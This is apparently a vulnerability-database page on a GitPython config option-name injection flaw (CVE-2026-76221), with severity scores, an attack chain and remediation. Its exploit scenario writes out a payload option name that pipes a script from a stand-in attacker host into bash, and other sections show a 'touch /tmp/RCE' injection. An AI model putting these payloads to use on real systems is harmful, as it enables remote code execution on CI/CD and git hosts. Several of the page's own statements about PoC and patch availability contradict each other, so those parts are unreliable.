Skip to main content

GitPython CVE-2026-76221

| EUVDEUVD-2026-62462 HIGH
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-08-19 VulnCheck GHSA-78pq-g4m8-fx2c
8.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker submits crafted option name via application
  2. Delivery
    Application passes name to config_writer.set_value()
  3. Exploit
    _assure_config_name_safe() bypassed for = and # chars
  4. Execution
    write_section emits forged directive to git config file
  5. Persist
    core.sshCommand parsed by git as valid directive
  6. Impact
    Next SSH git operation executes attacker command

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
Exploitation Conditions

Exploitation requires that the embedding application forwards a caller-influenced value as the option-name argument (second positional parameter) to repo.config_writer().set_value(section, option_name, value) - the same name-control model cited in the related advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w. The application need not run in any special configuration mode; the vulnerability exists in GitPython's default installation. The core.sshCommand injection path fires on any subsequent SSH-based git operation and does not require staged files; the core.hooksPath path additionally requires a staged hook file to be present in the repository. GitPython must be version 3.1.57 or earlier. Exploitation is blocked where applications use hardcoded option names with no caller influence over the option-name parameter, or where the git config write path is entirely unavailable to external users.

Impact

The vendor-provided CVSS 4.0 score of 8.7 uses AC:L and AT:N, reflecting the assessment that once user-controlled input reaches the config writer, exploitation is trivial and low-complexity. However, a structurally important prerequisite exists: the embedding application must expose attacker-influenced data as the option-name parameter to set_value() - applications using hardcoded option names are not exploitable. Real-world risk is therefore highly context-dependent. Platforms most at risk include CI/CD systems, Git hosting services, and developer tooling that accepts user-supplied repository metadata and writes it through GitPython's config API. The core.sshCommand injection vector fires on any SSH-based git operation without staged files, making it more readily triggerable than the core.hooksPath vector which requires a staged hook. A proof-of-concept is confirmed in the GHSA advisory and independently reproduced. No CISA KEV listing exists and no EPSS score was available at time of analysis, so exploitation in the wild is unconfirmed. CVSS PR:L (low privilege) accurately reflects that an authenticated but unprivileged user of the embedding application is sufficient - admin access is not required. The gap between AC:L in the provided vector and the actual deployment prerequisite means defenders should evaluate whether their specific application exposes this code path before treating this as universally critical.

Exploit ScenarioDerived

An attacker with a low-privilege account on a CI/CD platform or Git hosting service submits a repository configuration request containing an option name such as sshCommand = curl http://attacker.example/shell.sh | bash #. The platform's backend, using GitPython's config writer, calls set_value('core', attacker_controlled_name, 'x') without sanitization. GitPython writes the forged core.sshCommand directive verbatim to the repository's git config; on the next SSH-based git operation triggered by any user or pipeline job, git executes the attacker's command with the privileges of the git process. A proof-of-concept demonstrating this exact flow is included in GHSA-jm78-9fvv-mhgr and was independently reproduced by the advisory authors.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Config-name injection in GitPython <= 3.1.57 enables arbitrary git-config directive forgery and remote code execution via core.sshCommand or core.hooksPath. The option-name validator in git/config.py only blocks CR/LF/NUL, allowing =, #, and whitespace to pass unchecked; write_section then writes the option name verbatim, causing git to parse attacker-supplied content as a valid directive. Exploitation requires a calling application to forward attacker-influenced input to config_writer.set_value() as the option-name argument, and a proof-of-concept is publicly confirmed in the vendor GHSA advisory. No CISA KEV listing is present at time of analysis.

RemediationAI

Upgrade GitPython to version 3.1.58 or later via pip: pip install 'GitPython>=3.1.58'. The patch is available in PR https://github.com/gitpython-developers/GitPython/pull/2204 and committed at https://github.com/gitpython-developers/GitPython/commit/a495ccd3b547ccd60b2187215823b72a9c0188bf. As an immediate compensating control before patching, applications should apply an allowlist of known-safe option names before passing them to config_writer.set_value(), rejecting any name containing =, #, ;, [, ], or whitespace; a blocklist approach is not recommended because the character class may be incomplete. Alternatively, eliminating the code path where caller-influenced data is used as the option-name argument entirely removes the attack surface. Note that patches applied for prior GitPython advisories GHSA-3rp5-jjmw-4wv2 or GHSA-mv93-w799-cj2w do not remediate this vulnerability - version 3.1.58 is required.

Affected VersionsENISA

GitPython 0 <3.1.58

Affected Packages

pypi gitpython fix: 3.1.58

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

GitPython is a widely-used Python library for programmatic Git repository interaction (CPE: cpe:2.3:a:gitpython-developers:gitpython:*:*:*:*:*:*:*:*). The root cause (CWE-74: Injection) is an incomplete input validation boundary in _assure_config_name_safe() at git/config.py:897: the function applies a bracket/quote state machine only when label == 'section', while option-label validation falls through to only check UNSAFE_CONFIG_CHARS_RE = [\r\n\x00]. This leaves =, #, ;, [, ], and whitespace entirely unguarded for option names. The write_section method at config.py:702 then emits the raw option name into the template '\t%s = %s\n', so a name like sshCommand = touch /tmp/RCE # becomes `\tsshCommand = touch /tmp/RCE

= x\n in the on-disk config - which git parses as core.sshCommand = touch /tmp/RCE because the trailing #` comments out the remainder. This is architecturally distinct from prior GitPython injection advisories GHSA-3rp5-jjmw-4wv2 (section-name bracket injection) and GHSA-mv93-w799-cj2w/GHSA-v87r-6q3f-2j67 (newline injection); those patches do not cover this character class or field.

Know when Gitpython gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.5 HIGH

AC:H because the application must forward user-controlled input as the option-name argument; PR:L as a low-privilege application account suffices; S:C because git executes commands outside GitPython's process scope.

3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Red Hat 8.8 HIGH

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 19, 2026 - 15:17 EUVD
CVE Published
Aug 19, 2026 - 14:02 cve.org
HIGH 8.7

DescriptionCVE.org

GitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like 'sshCommand = touch /tmp/RCE #' to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 16 pypi packages depend on gitpython (15 direct, 1 indirect)

Ecosystem-wide dependent count for version 3.1.58.

Executive ViewAI

Why It Matters

GitPython library versions 3.1.57 and earlier enable remote code execution through configuration injection, with publicly available exploit code confirmed in vendor advisories. Any development team or CI/CD system using vulnerable GitPython versions that accept external input faces critical risk of malicious code execution within repository operations. Immediate action is required to identify exposure and implement interim controls, particularly for systems managing production deployments or sensitive intellectual property.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Implement strict input validation rejecting special characters (=, #, whitespace) in config option names passed to GitPython; (2) Apply least-privilege service accounts for all GitPython-dependent processes; (3) Enable audit logging on git configuration changes and git hook execution; (4) Restrict or disable git hook execution on affected systems; (5) Network-isolate systems handling production or sensitive repositories until patch availability.

Threat Intelligence Overview

EPSS Score
0.4%
Top 69% exploitable
Prevalence
Medium
popular Python Git library, widely used in CI/CD and developer tooling
Data Quality
8 sources
Confidence: High
EUVD 🇯🇵JVN NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

CVE-2022-24439 CRITICAL POC
9.8 Dec 06

All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, w

CVE-2026-78676 CRITICAL POC
9.3 Aug 25

Arbitrary code execution in GitPython before 3.1.59 arises from unsafe re-serialization of multi-line, quoted git-config

CVE-2026-78677 HIGH POC
8.7 Aug 25

Arbitrary directory creation and potential hook-based code execution in GitPython affects all releases before 3.1.59. Th

CVE-2026-78675 HIGH POC
8.6 Aug 25

GitPython before 3.1.59 discloses local file content through exception messages when parsing .gitmodules files that cont

CVE-2023-40590 HIGH POC
7.8 Aug 28

GitPython is a python library used to interact with Git repositories. Rated high severity (CVSS 7.8), this vulnerability

CVE-2026-78679 HIGH POC
7.1 Aug 25

Arbitrary file read in GitPython before 3.1.59 allows low-privileged remote attackers to exfiltrate sensitive files by s

CVE-2026-78678 HIGH POC
7.1 Aug 25

Arbitrary file read in GitPython versions before 3.1.59 exposes sensitive filesystem content to low-privileged network a

CVE-2023-41040 MEDIUM POC
6.5 Aug 30

GitPython is a python library used to interact with Git repositories. Rated medium severity (CVSS 6.5), this vulnerabili

CVE-2023-40267 CRITICAL
9.8 Aug 11

GitPython before 3.1.32 does not block insecure non-multi options in clone and clone_from. Rated critical severity (CVSS

CVE-2026-67324 CRITICAL
9.3 Aug 01

Command execution in GitPython 3.1.50 arises because its default unsafe-option gate fails to recognize joined short-opti

CVE-2026-67325 HIGH POC
8.7 Aug 01

Command injection in GitPython before 3.1.51 allows low-privileged attackers to bypass the `check_unsafe_options` blockl

CVE-2026-42215 HIGH POC
8.8 May 07

Command injection in GitPython 3.1.30-3.1.46 allows remote authenticated attackers to execute arbitrary commands via und

Vendor StatusVendor

SUSE

Severity: Important
Product Status
openSUSE Tumbleweed Fixed
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy